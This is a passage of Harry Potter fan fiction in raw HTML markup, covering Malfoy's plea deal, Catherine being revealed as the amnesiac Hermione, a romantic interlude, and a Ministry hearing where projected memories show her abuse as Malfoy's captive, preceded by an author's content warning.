Curses.&#8221; Ron said, circling Malfoy. &#8220;Your\nfather can&#8217;t get you out of this one can he?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy&#8217;s eyes narrowed. &#8220;Are\nyou implying my father was my only protector?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron rolled his eyes. &#8220;Yes, I\nam. You were never able to do anything on your own, even when you and Harry\nfaced off before he went on to defeat Voldemort, it was only because your\nfather shot a curse at Harry that you were able to run off and hide.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy rocketed off his\nchair and flew at Ron. &#8220;You leave my father out of this!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron pushed him away roughly.\n&#8220;I&#8217;m tired of talking to you!&#8221; he barked. &#8220;I came here for one thing, to make a\ndeal with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Malfoy smirked.\n&#8220;Like I want to make any sort of deal with YOU.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut up and listen!&#8221; Ron\nsnapped. &#8220;I can stop the Ministry from administering the kiss on you, but only\nif you&#8217;ll not press charges against Harry. You&#8217;ve done enough to him, and to\nHermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What makes you think I&#8217;d\nbelieve you?&#8221; Malfoy shouted. Ron glared at him, and walked over to the door to\nthe holding cell, stuck his hand outside, and snapped his fingers. A glowing\npiece of parchment appeared in his outstretched hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Magic contract.&#8221; Ron said\nshortly. &#8220;Once it&#8217;s signed it can&#8217;t be broken.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy was silent once more,\nglaring at Ron through his pale eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron was losing all patience.\n&#8220;Fine, you press charges, you STILL go to Azkaban, and you get the Kiss. Sign\nthis, and you only go to Azkaban for life&#8230;you can&#8217;t get out of that one.&#8221;\nMalfoy still said nothing. Ron stared at him in hatred for a long moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You really disgust me.&#8221; Ron\nsaid. He spat in Draco&#8217;s face and turned to leave the cell, when a weak voice\ncalled out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll sign.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you Harry.&#8221; Catherine\nsaid as he held open the door to his flat. &#8220;Thank God I&#8217;m out of that hospital,\nI do so hate being in one.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you like some tea or\nsomething?&#8221; Harry asked, closing the door behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That would be great,\nthanks.&#8221; She replied. Catherine followed him into the kitchen and sat down at\nthe table while he quickly zapped two mugs of hot water and put the tea in\nthem.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what did you want to\ncome over for?&#8221; Harry asked, sipping his tea.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Catherine sat back in her\nchair and looked pensive for a moment. &#8220;Well, I have something I wanted to tell\nyou&#8230;&#8221; she pursed her lips for a moment. &#8220;I hope it doesn&#8217;t sound too\nridiculous, but with the events of yesterday&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; Harry asked,\nlooking concerned. &#8220;Is it more of what Malfoy did to you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, this, well, it was two\noccasions really, they both happened last week.&#8221; She replied, a bit hesitantly,\nand then flushed pink. &#8220;Well, the first, I guess you could call it a vision,\nthat I had, it was when you came over the day you moved in, with the buttercup.\nRemember how I got really dizzy and had to sit down?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I do.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, that was the first flash\nI had.&#8221; Her face flushed even redder as she continued. &#8220;In it, I was pregnant,\nand reading a book, and you came in&#8230;you had a buttercup and in it was a ring&#8230;&#8221;\nshe said, not wanting to look up at him. &#8220;Then, the second one was a dream,\nwhere we were on a beach, and Caitlyn was a baby, I know this because in my\ndream I called her Caty Cat, just like you do, and then you came over and sat\nwith us&#8230;&#8221; she knew she was rambling, but she was nervous. She finally looked up\nand Harry was staring at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are&#8230;&#8221; he said so softly\nshe wasn&#8217;t sure at first if he had spoken or not. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have to be her&#8230;&#8221; Harry\nsaid. &#8220;How else would you know how I proposed?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She shrugged in confusion.\n&#8220;I don&#8217;t know, I&#8230;&#8221; she was cut off by a large whoop from Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are Hermione!&#8221; Harry\nshouted happily, and pulled her up from the chair. He grabbed her around the\nwaist and spun her around the kitchen. She felt rather lighthearted as he set\nher back down and hugged her tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; she asked, finding\nher voice. &#8220;Those were real memories?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, they were.&#8221; Harry\nsaid, smiling down at her, happy tears sparkling in her eyes. He bent down and\npressed his lips to hers gently, nudging open her mouth with his tongue. She\nflattened her palms against his chest to feel his strength, and he wrapped his\narms around her tighter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;ARGH!&#8221; Harry cried in\nfrustration as a knock echoed throughout his apartment. She heaved a\ndisappointed sigh as well and followed him to the door. Harry pulled it open to\nreveal Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What Ron?&#8221; Harry almost\nbarked. Ron looked put out for a moment, and then pushed him aside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy&#8217;s not pressing\ncharges.&#8221; Ron said immediately. &#8220;He&#8217;s signed a contract, meaning he&#8217;s not\ngetting the Kiss, but he still is going to Azkaban.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded. &#8220;I&#8217;m glad to\nhear that.&#8221; Ron turned to Catherine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look, I was asked to come\nover and well, prep you for tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221; she\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The contraption that you&#8217;ll\nhave to use tomorrow, I already told you how it works right?&#8221; He asked and Catherine\nnodded. &#8220;Well, it sounds a lot easier than it looks. The machine runs on your\nenergy, you&#8217;ll be feeling quite weak when you leave tomorrow. If there was any\nother way to prove Malfoy was the one, I&#8217;d use it but there isn&#8217;t.&#8221; Ron looked\napologetic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right.&#8221; Catherine\nsaid. &#8220;I can handle it, I promise.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll be right there with\nyou.&#8221; Harry promised. He brought one hand up around her waist and pulled her\nclose to him. He saw Ron look away and roll his eyes for a moment, and then the\ntwo men grinned at each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, seeing as how that&#8217;s\nout of the way, would the two of you like to come over for dinner later?&#8221; Ron\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at Catherine,\nwho nodded. &#8220;Sure, we&#8217;d love to.&#8221; Harry said. &#8220;What time?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Say around five.&#8221; Ron replied.\nHe looked at the two of them with an evil gleam in his eye. &#8220;I can see myself\nout.&#8221; He smirked in Harry&#8217;s direction and left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned back to\nCatherine with a gleam in his eye. &#8220;Where were we?&#8221; he asked, pulling her up\nagainst him tightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right about here&#8230;&#8221; she\nsaid, sliding her hand around to the back of his neck and pulling his head down\nto hers. He kissed her hard, and she gently stroked his bottom lip with her\ntongue. He opened his mouth to receive her gladly, and ran one hand up and down\nher back, while the other tangled itself into her silken hair. Harry picked her\nup and sat her on the hall table, pressing his mouth harder against hers. She\nresponded eagerly, pushing back as hard as she could, taking her hands and\ncaressing her way down his chest to his pants. She fumbled with the button for\na moment, then finally freed it and began to tug down the zipper when Harry\nstopped her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait&#8230;wait just a minute&#8230;&#8221;\nhe said, flushing red. Harry leaned forward and rested his forehead against hers.\n&#8220;I think we might be going just a little fast here&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t mind.&#8221; Catherine\nsaid softly but boldly. He chuckled and drew her to him, stroking her long hair\ngently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, I was thinking&#8230;&#8221;\nHarry said after a long silence. &#8220;Maybe you don&#8217;t need to take that potion\nafter all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why do you say that?&#8221;\nCatherine asked, pulling back and looking up at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well you&#8217;re remembering a\nlot of things now aren&#8217;t you&#8230;&#8221; Harry began but she interrupted him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I really only had two\nmemory flashes. All the things I have remembered since yesterday had to do with\nwhat that horrible man did to me, there&#8217;s really nothing before that.&#8221; She said\nas gently as possible. &#8220;Besides, I want to remember everything about my life,\nnot just a few things.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see.&#8221; Harry said, and\nsmiled down at her. &#8220;As long as you&#8217;re sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am sure, I&#8217;m absolutely\npositive.&#8221; She said, sliding off the table. &#8220;If we&#8217;re to make it to your friend\nRon&#8217;s house for dinner, I have to go get ready.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Harry said, walking\nher over to the door. &#8220;Just come on back here when you&#8217;re ready and we can head\nover.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She kissed him goodbye. &#8220;See\nyou in a bit!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They had had a very pleasant\nevening at Ron and Lavender&#8217;s, Harry was happy to see Catherine smiling and\nhappy, since he knew tomorrow would be very difficult for her. When Harry had\nleft her at her flat just a quarter of an hour ago, he had hugged her tightly\nand assured her once more that he&#8217;d help her face whatever came her way\ntomorrow. Now as he settled into bed himself, he began to grow a bit anxious,\nhe knew now that there was no doubt she was Hermione, but he was more nervous\nabout if the potion was made correctly for her to take. He sighed impatiently\nand brushed his worries aside the best he could, he trusted Ron to make sure\neverything was done right. With those thoughts in mind, he fell asleep. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">**** Next Day****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come in!&#8221; Catherine called\nas a knock sounded on her bedroom door. Grace peeked in through the opening.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you almost ready?&#8221; she\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I just need to find my\nwhite shirt&#8230;&#8221; Catherine pulled it triumphantly from her closet, slipped it on\nand buttoned it up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you sure you&#8217;re going\nto be all right today?&#8221; Grace asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly? No, I&#8217;m not sure.\nI just want to get this whole day over with.&#8221; Catherine said, pulling her hair\nback off her face and securing it with a band. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t blame you.&#8221; Grace\nsaid sympathetically. &#8220;Harry came by while you were in the shower, he said he&#8217;d\nmeet us over at the Ministry. Something about having to go early to check\nthings over with Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Catherine\nreplied. &#8220;Well, let&#8217;s go, let&#8217;s get this over with.&#8221; She and Grace apparated\nout their flat and over to the front steps of the Ministry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">FLASH! Catherine blinked as a\nlight bulb went off in her face. She reeled back and almost fell down but Grace\nsteadied her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You must be Catherine\nBeaumont, tell the Daily Prophet, why are you pressing charges against Mr.\nDraco Malfoy?&#8221; a pointy blond woman shoved a wizard recording device at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I uh&#8230;&#8221; Catherine stammered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s not answering any\nquestions!&#8221; Grace snapped loudly, and she shoved the device away from the two\nwomen. She and Catherine hurried up the stairs away from the bright hungry eyes\nof the reporters. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Grace.&#8221; Catherine\nbreathed. &#8220;That was a bit scary.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you two all right?&#8221;\nHarry asked, striding up to them. &#8220;I was going to meet you outside but you&#8217;re\nearly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re fine.&#8221; Grace said,\nspeaking for both of them. &#8220;I&#8217;m going to go sit inside the hearing room ok?&#8221;\nshe squeezed Catherine&#8217;s hand in support and walked away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry already seemed to know\nnot to ask her once more if she was all right. He took her by the hand and led\nher down the hall. &#8220;We&#8217;re going to keep you in a separate room until the hearing\nbegins in case any of the press gets in here.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds good to me.&#8221;\nCatherine said. &#8220;I could use some piece and quiet before this all begins.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled and opened a\ndoor for her. &#8220;After you.&#8221; He said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She entered the room; it was\na comfortable beige color with a long sofa inside. Catherine sat down and\npatted the spot beside her. &#8220;Are you going to stay with me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you like.&#8221; Harry\nreplied, shutting the door behind him. He sat down next to her and stretched\nhis legs out in front of him. &#8220;Did you sleep okay last night?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose so.&#8221; She replied.\n&#8220;You?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smirked. &#8220;Not really&#8230;&#8221;\nhe was interrupted by Ron entering the room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I think we&#8217;re just\nabout set. Malfoy&#8217;s being brought in now, and the contraption is ready for\nyou.&#8221; He nodded in Catherine&#8217;s direction. &#8220;If for any reason you get too weak\nto use it, let us know, and we&#8217;ll turn it off.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; She sighed and stood\nup, Harry coming up behind her. The three of them silently entered the large room,\nwhere a large number of people gathered. It was set up like a Muggle courtroom,\nalbeit there was no jury, just the new Minister of Magic, Neville Longbottom.\nHarry was surprised to see this, but very happy for his old Hogwarts friend.\nNeville nodded to Harry and Catherine (Ron had filled him in on the situation)\nand they all took their seats. Catherine was careful not to look in Draco\nMalfoy&#8217;s direction, in case any new memories should rush over her. What she had\nto do today was damaging enough to her mind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Neville banged a gavel\nloudly on his stand. &#8220;Silence!&#8221; his voice was magnified throughout the room,\nreminding Harry greatly of Dumbledore in his first year with the troll. &#8220;The\nhearing and conviction of one Draco Malfoy will now begin!&#8221; Neville nodded to\nRon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay,&#8221; Ron said, lifting up\nthe contraption. &#8220;This goes on so you can see through it with your eyes, just\nstrap it onto the back of your head.&#8221; With Harry&#8217;s help they fastened it on\nsecurely.&nbsp; Ron reached to the back of it\nand hit a small button. &#8220;When you think of a memory, just squeeze this panel\nand the projection will start.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Catherine nodded and took a\nfew deep breaths to steady herself. She willed one of the memories that had so\nrecently sprouted in her mind to come forth, and squeezed the panel. The\nprojector roared to life.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">(Okay, if anyone gets bothered by any scenes of suffering\nsuch as the flashback about to take place, scroll down to where you see a line\nlike this:</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>~*~*~*~*~*~ And you will know when to start reading again.)</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched the screen set\nup as a dank stone dungeon came into view. He felt his insides tighten as he\nsaw the picture turn to a woman who was sprawled on the floor, dressed in\nnothing but rags. He bit down on his lower lip as he recognized Hermione&#8217;s\nface, which at the time was rather badly bruised. Her lip was swollen, and her\none eye was half shut from injuries. The door on the opposite end of the room\nswung open and a younger Draco Malfoy entered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh&#8230;. awake I see.&#8221; He\nsnarled cruelly. Malfoy walked right up to her and pulled her up by her long\nhair. She cried out and he struck her so hard that the entire audience watching\nthe screen recoiled in horror. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You think I&#8217;ll be nice to\nyou just because you can&#8217;t remember who you are?&#8221; he spat, throwing her back\ndown to the ground. He kicked her hard in the stomach and she screamed in pain\nand curled up in a fetal position.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hungry, mudblood?&#8221; he\nleaned close to her. &#8220;Wish you had something to eat?&#8221; he sneered as she turned\nand tried to look up at him through one eye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please?&#8221; her voice came out\nsoft and trembling. &#8220;Please may I have something to eat?&#8221; Malfoy shouted out\nloud and backhanded her again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You really think I&#8217;d do that?&#8221;\nhe hissed, bringing his face close to hers once more. &#8220;You think I want to make\nanything comfortable for you?&#8221; he sat back and smiled evilly at her. &#8220;It&#8217;s not\nenough my curse made you forget about everything, no, my revenge is only\nstarting&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This memory faded out, and a\nnew one took place. This time Hermione was sitting up against the wall, looking\npeaked but stronger, she was still rather badly bruised and beaten, but there\nwas a gleam in her eye that hadn&#8217;t been there before. The audience watched in\nhorror and disgust as she leaned over and lapped up water like a dog from a\npuddle on the dirty floor. She sat back up quickly when the door banged open\nand Malfoy once again entered. Hermione forced her eyes to droop, and she\nslouched down against the wall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get up Mudblood&#8230;&#8221; he said,\ngrabbing her thin arm and hauling her up like a rag doll. The chain pulled\nagainst her arm from the other direction, and Malfoy pushed her hard against\nthe wall. He snarled at her and turned to walk to the other side of the\ndungeon. &#8220;I hate breathing the same air as you Mudblood.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione quickly pulled out\na long metal like pin and deftly unhooked the chain, then the other ones that\nkept her other arm and legs attached to the wall. She picked up one of the\nrusty metal bars from what used to be out of her reach and snuck up behind\nDraco, then beaned him hard on the head with it. He slumped to the ground, and\nthen the screen went blank.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Catherine was visibly\nshaking as Harry and Ron quickly removed the contraption from her head. Tears\nstreaked down her face and her lower lip trembled, and Harry gathered her in\nhis arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shhh&#8230;&#8221; he consoled her.\n&#8220;It&#8217;s all over now, all over.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everyone in the room was\nstaring at Malfoy with a look of loathing. Ron stepped up to the front of the\nroom and cleared his throat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;On behalf of Mr. Harry\nPotter, I have cut a deal with Draco Malfoy. He has signed the contract not to\npress any charges if we do not administer the Kiss to him.&#8221; Ron leaned forward\nand spoke quietly to Neville. &#8220;He still goes to Azkaban for life, however, he\ncan not come back and try to exact his revenge on Harry anymore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Neville agreed to the\ncontract as well, and banged his gavel once more on his podium. &#8220;Draco Malfoy,&#8221;\nhe said as he glared down at him. &#8220;You are sentenced to life in Azkaban for the\nuse of an Unforgivable Curse. However, since you have agreed to the contract\nnot to press charges against Harry Potter for assault, the Kiss will not be\nadministered to you.&#8221; Neville waved at two guards standing in the corner. &#8220;They\nwill be escorting you in now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco went with them\nwordlessly, however, when he passed by Harry and Catherine, he raised his head\nand glared at the two of them, the poison in his eyes darting out at the two of\nthem. Harry expected Catherine to back away but she firmly stood her ground,\ntears and all, and glared right back at him. Her lip curled slightly in\ndisgust, and she clenched Harry&#8217;s hand tightly as Draco was led away to face\nhis new life. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I hope he rots in Hell.&#8221;\nCatherine said tightly as she turned to face Harry. &#8220;I don&#8217;t ever want to go\nthrough that again.&#8221; Harry gathered her in his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You won&#8217;t have to, ever\nagain.&#8221; Harry said. &#8220;It&#8217;s over now, it truly is, I promise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can you promise?&#8221; She\nasked, a bit more harshly than she intended to. &#8220;If it&#8217;s happened once it can\nhappen again!&#8221; Harry looked stricken at her words. &#8220;Look, I&#8217;m sorry, that\nwasn&#8217;t meant for you.&#8221; She said, feeling sorry. &#8220;I&#8217;m just feeling so damned\nangry right now&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right.&#8221; Harry\nsaid. &#8220;Look, let&#8217;s go find you a punching bag or something.&#8221; He took her by the\narm and led her back down the hall. &#8220;I say we slip out the back way and\napparate so we don&#8217;t have to face the reporters again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds good to me.&#8221;\nCatherine said. They began to make their way out the back door when Ron&#8217;s shout\nstopped them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait!&#8221; he said\nbreathlessly, running up to them. He bent over a moment with his hands on his\nknees trying to catch his breath. &#8220;Potion&#8217;s ready.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry said, looking\nat him. &#8220;I thought you said it still had a few more days to go!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron shook his head. &#8220;One of\nthe potions masters here sped up the process. It&#8217;s ready.&#8221; Both he and Harry looked\nat Catherine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want to take it.&#8221; she\nsaid immediately. &#8220;I want to take it today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 